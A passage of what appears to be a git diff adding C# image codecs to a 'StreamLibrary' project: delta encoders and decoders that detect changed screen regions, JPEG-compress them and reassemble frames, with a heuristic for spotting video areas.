this.Y = y;
|
||||
this.Width = width;
|
||||
this.Height = height;
|
||||
this.FrameIndex = FrameIndex;
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return "X:" + X + ", Y:" + Y + ", Width:" + Width + ", Height:" + Height + ", FrameIndex:" + FrameIndex;
|
||||
}
|
||||
}
|
||||
|
||||
private class Frame
|
||||
{
|
||||
public decimal[,] HashBlocks { get; private set; }
|
||||
|
||||
public Frame(int ImageWidth, int ImageHeight)
|
||||
{
|
||||
this.HashBlocks = new decimal[(ImageWidth / UnsafeCachedStreamCodec.CheckBlock.Width) + 2, (ImageHeight / UnsafeCachedStreamCodec.CheckBlock.Height) + 2];
|
||||
}
|
||||
|
||||
public void AddHashBlock(int x, int y, decimal Hash)
|
||||
{
|
||||
x = x / UnsafeCachedStreamCodec.CheckBlock.Width;
|
||||
y = y / UnsafeCachedStreamCodec.CheckBlock.Height;
|
||||
this.HashBlocks[x, y] = Hash;
|
||||
}
|
||||
public decimal GetHashBlock(int x, int y)
|
||||
{
|
||||
x = x / UnsafeCachedStreamCodec.CheckBlock.Width;
|
||||
y = y / UnsafeCachedStreamCodec.CheckBlock.Height;
|
||||
return this.HashBlocks[x, y];
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,365 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeMiniCodec : IUnsafeCodec
|
||||
{
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private byte[] EncodeBuffer;
|
||||
private Bitmap decodedBitmap;
|
||||
|
||||
private Size CheckBlock { get { return new Size(50, 50); } }
|
||||
|
||||
public UnsafeMiniCodec(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
lock (this.ImageProcessLock)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
FastBitmap.CalcImageOffset(0, 0, Format, ScanArea.Width); //check for FastBitmap Support
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format + " is not supported.");
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
|
||||
//first frame
|
||||
if (EncodeBuffer == null)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
this.EncodeBuffer = new byte[RawLength];
|
||||
fixed (byte* ptr = EncodeBuffer)
|
||||
{
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (this.EncodedFormat != Format)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
if (ScanArea.Width > ImageSize.Width || ImageSize.Height > this.EncodedHeight)
|
||||
throw new Exception("Scan Area Width/Height cannot be greater then the encoded image");
|
||||
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>(); //all the changes
|
||||
fixed (byte* encBuffer = EncodeBuffer)
|
||||
{
|
||||
//1. Check for the changes in height
|
||||
for (int y = ScanArea.Y; y < ScanArea.Height; y++)
|
||||
{
|
||||
Rectangle cBlock = new Rectangle(0, y, ImageSize.Width, 1);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
int Offset = FastBitmap.CalcImageOffset(0, y, Format, ImageSize.Width);
|
||||
if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0)
|
||||
{
|
||||
int index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//2. Capture all the changes using the CheckBlock
|
||||
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||
for (int i = 0; i < Blocks.Count; i++)
|
||||
{
|
||||
Rectangle scanBlock = Blocks[i];
|
||||
|
||||
//go through the Blocks
|
||||
for (int y = scanBlock.Y; y < scanBlock.Height; y += CheckBlock.Height)
|
||||
{
|
||||
for (int x = scanBlock.X; x < scanBlock.Width; x += CheckBlock.Width)
|
||||
{
|
||||
int blockWidth = x + CheckBlock.Width < scanBlock.Width ? CheckBlock.Width : scanBlock.Width - x;
|
||||
int blockHeight = y + CheckBlock.Height < scanBlock.Height ? CheckBlock.Height : scanBlock.Height - y;
|
||||
Rectangle cBlock = new Rectangle(x, y, blockWidth, blockHeight);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
//scan the block from Top To Bottom and check for changes
|
||||
bool FoundChanges = false;
|
||||
for (int blockY = y; blockY < y + blockHeight; blockY++)
|
||||
{
|
||||
int Offset = FastBitmap.CalcImageOffset(x, blockY, Format, blockWidth);
|
||||
if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0)
|
||||
{
|
||||
FoundChanges = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (FoundChanges)
|
||||
{
|
||||
int index = finalUpdates.Count - 1;
|
||||
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = finalUpdates[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
finalUpdates[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(cBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//maybe a too hard algorithm but oh well
|
||||
SortedList<int, SortedList<int, Rectangle>> Array = finalUpdates.ToArray().RectanglesTo2D().Rectangle2DToRows();
|
||||
List<Rectangle> FinalTemp = new List<Rectangle>();
|
||||
|
||||
for (int i = 0; i < Array.Values.Count; i++)
|
||||
{
|
||||
FinalTemp.AddRange(Array.Values[i].Values);
|
||||
}
|
||||
|
||||
//fixup the height
|
||||
for (int i = 0; i < FinalTemp.Count; )
|
||||
{
|
||||
if (FinalTemp.Count == 1)
|
||||
{
|
||||
FinalTemp.Add(FinalTemp[i]);
|
||||
break;
|
||||
}
|
||||
|
||||
if (i + 1 < FinalTemp.Count)
|
||||
{
|
||||
Rectangle curRect = FinalTemp[i];
|
||||
Rectangle nextRect = FinalTemp[i + 1];
|
||||
if ((curRect.Y + curRect.Height) == nextRect.Y && curRect.Width == nextRect.Width)
|
||||
{
|
||||
FinalTemp[i] = new Rectangle(curRect.X, curRect.Y, curRect.Width, curRect.Height + curRect.Height);
|
||||
FinalTemp.RemoveAt(i + 1);
|
||||
}
|
||||
else
|
||||
{
|
||||
i++;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
//copy changes to the EncodeBuffer and Process the Output
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
for (int i = 0; i < FinalTemp.Count; i++)
|
||||
{
|
||||
Rectangle rect = FinalTemp[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
//copy changes to EncodeBuffer
|
||||
for (int y = rect.Y; y < rect.Y + rect.Height; y++)
|
||||
{
|
||||
int Offset = FastBitmap.CalcImageOffset(rect.X, y, Format, rect.Width);
|
||||
NativeMethods.memcpy(encBuffer + Offset, pScan0 + Offset, (uint)blockStride); //copy-changes
|
||||
}
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Position;
|
||||
long OldPos = outStream.Position;
|
||||
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
Blocks.Clear();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
if (Length < 4)
|
||||
return decodedBitmap;
|
||||
|
||||
int DataSize = *(int*)(CodecBuffer);
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[DataSize];
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||
}
|
||||
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||
if (DataSize > 0)
|
||||
{
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
for (int i = 4; DataSize > 0; )
|
||||
{
|
||||
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||
byte[] temp = new byte[UpdateLen];
|
||||
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||
{
|
||||
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||
}
|
||||
}
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
i += UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,473 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeOptimizedCodec : IUnsafeCodec
|
||||
{
|
||||
private class PopulairPoint
|
||||
{
|
||||
public Rectangle Rect;
|
||||
public int Score;
|
||||
public Stopwatch LastUpdate;
|
||||
|
||||
public PopulairPoint(Rectangle rect)
|
||||
{
|
||||
this.Rect = rect;
|
||||
this.Score = 0;
|
||||
this.LastUpdate = Stopwatch.StartNew();
|
||||
}
|
||||
}
|
||||
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
public Size CheckBlock { get; private set; }
|
||||
private object ImageProcessLock = new object();
|
||||
private byte[] EncodeBuffer;
|
||||
private Bitmap decodedBitmap;
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private List<PopulairPoint> populairPoints;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
private Stopwatch ScreenRefreshSW = Stopwatch.StartNew();
|
||||
|
||||
//options
|
||||
/// <summary> If a part in the image is been changing for the last x milliseconds it will be seen as a video </summary>
|
||||
public uint AliveTimeForBeingVideo = 5000;
|
||||
/// <summary> This will check if the video went away or stopped playing so it will refresh the other parts in the image </summary>
|
||||
public uint ScreenRefreshTimer = 2000;
|
||||
/// <summary> The size for being a video, if bigger or equal to the VideoScreenSize it must be a video </summary>
|
||||
public Size VideoScreenSize = new Size(100, 100);
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of UnsafeOptimizedCodec
|
||||
/// </summary>
|
||||
/// <param name="ImageQuality">The quality to use between 0-100</param>
|
||||
public UnsafeOptimizedCodec(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
this.populairPoints = new List<PopulairPoint>();
|
||||
this.CheckBlock = new Size(15, 1);
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
|
||||
if (EncodeBuffer == null)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
this.EncodeBuffer = new byte[RawLength];
|
||||
fixed (byte* ptr = EncodeBuffer)
|
||||
{
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (ScreenRefreshSW.ElapsedMilliseconds > ScreenRefreshTimer)
|
||||
{
|
||||
for (int i = 0; i < populairPoints.Count; i++)
|
||||
{
|
||||
if (populairPoints[i].Score == 0 || populairPoints[i].LastUpdate.Elapsed.Seconds > 5)
|
||||
{
|
||||
populairPoints.RemoveAt(i);
|
||||
}
|
||||
}
|
||||
ScreenRefreshSW = Stopwatch.StartNew();
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
List<byte[]> updates = new List<byte[]>();
|
||||
MemoryStream ms = new MemoryStream();
|
||||
byte[] buffer = null;
|
||||
|
||||
if (this.EncodedFormat != Format)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
|
||||
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
int index = 0;
|
||||
|
||||
Size s = new Size(ScanArea.Width, CheckBlock.Height);
|
||||
Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
|
||||
|
||||
int lasty = ScanArea.Height - lastSize.Height;
|
||||
int lastx = ScanArea.Width - lastSize.Width;
|
||||
|
||||
Rectangle cBlock = new Rectangle();
|
||||
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||
|
||||
PopulairPoint[] points = GetPossibleVideos();
|
||||
if (points.Length > 0)
|
||||
{
|
||||
ScanArea = new Rectangle(points[0].Rect.X, points[0].Rect.Y, points[0].Rect.Width + points[0].Rect.X, points[0].Rect.Height + points[0].Rect.Y);
|
||||
}
|
||||
|
||||
s = new Size(ScanArea.Width, s.Height);
|
||||
fixed (byte* encBuffer = EncodeBuffer)
|
||||
{
|
||||
if (points.Length == 0) //only scan if there is no video
|
||||
{
|
||||
for (int y = ScanArea.Y; y != ScanArea.Height; )
|
||||
{
|
||||
if (y == lasty)
|
||||
s = new Size(ScanArea.Width, lastSize.Height);
|
||||
cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
|
||||
|
||||
int offset = (y * Stride) + (ScanArea.X * PixelSize);
|
||||
if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
|
||||
{
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
y += s.Height;
|
||||
}
|
||||
|
||||
for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
|
||||
{
|
||||
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||
x = ScanArea.X;
|
||||
while (x != ScanArea.Width)
|
||||
{
|
||||
if (x == lastx)
|
||||
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||
|
||||
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
|
||||
bool FoundChanges = false;
|
||||
int blockStride = PixelSize * cBlock.Width;
|
||||
|
||||
for (int j = 0; j < cBlock.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (cBlock.Y + j)) + (PixelSize * cBlock.X);
|
||||
if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
|
||||
FoundChanges = true;
|
||||
NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
}
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if (FoundChanges)
|
||||
{
|
||||
index = finalUpdates.Count - 1;
|
||||
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = finalUpdates[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
finalUpdates[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(cBlock);
|
||||
}
|
||||
}
|
||||
x += s.Width;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(points[0].Rect);
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
Rectangle rect = finalUpdates[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Position;
|
||||
long OldPos = outStream.Position;
|
||||
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
|
||||
if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height)
|
||||
{
|
||||
PopulairPoint point = null;
|
||||
if (GetPopulairPoint(rect, ref point))
|
||||
{
|
||||
point.Score++;
|
||||
point.LastUpdate = Stopwatch.StartNew();
|
||||
//Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height);
|
||||
}
|
||||
else
|
||||
{
|
||||
populairPoints.Add(new PopulairPoint(rect));
|
||||
}
|
||||
}
|
||||
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
|
||||
/*for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
Rectangle rect = finalUpdates[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
buffer = new byte[blockStride * rect.Height];
|
||||
|
||||
fixed (byte* ptr = buffer)
|
||||
{
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy(ptr + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * PixelSize, Format, new IntPtr(ptr)))
|
||||
{
|
||||
buffer = base.jpgCompression.Compress(TmpBmp);
|
||||
|
||||
if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height)
|
||||
{
|
||||
PopulairPoint point = null;
|
||||
if (GetPopulairPoint(rect, ref point))
|
||||
{
|
||||
point.Score++;
|
||||
point.LastUpdate = Stopwatch.StartNew();
|
||||
Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height);
|
||||
}
|
||||
else
|
||||
{
|
||||
populairPoints.Add(new PopulairPoint(rect));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
|
||||
outStream.Write(buffer, 0, buffer.Length);
|
||||
TotalDataLength += buffer.Length + (4 * 5);
|
||||
}*/
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
Blocks.Clear();
|
||||
ms.Close();
|
||||
ms.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
if (Length < 4)
|
||||
return decodedBitmap;
|
||||
|
||||
int DataSize = *(int*)(CodecBuffer);
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[DataSize];
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||
}
|
||||
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||
if (DataSize > 0)
|
||||
{
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
for (int i = 4; DataSize > 0; )
|
||||
{
|
||||
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||
byte[] temp = new byte[UpdateLen];
|
||||
|
||||
fixed(byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||
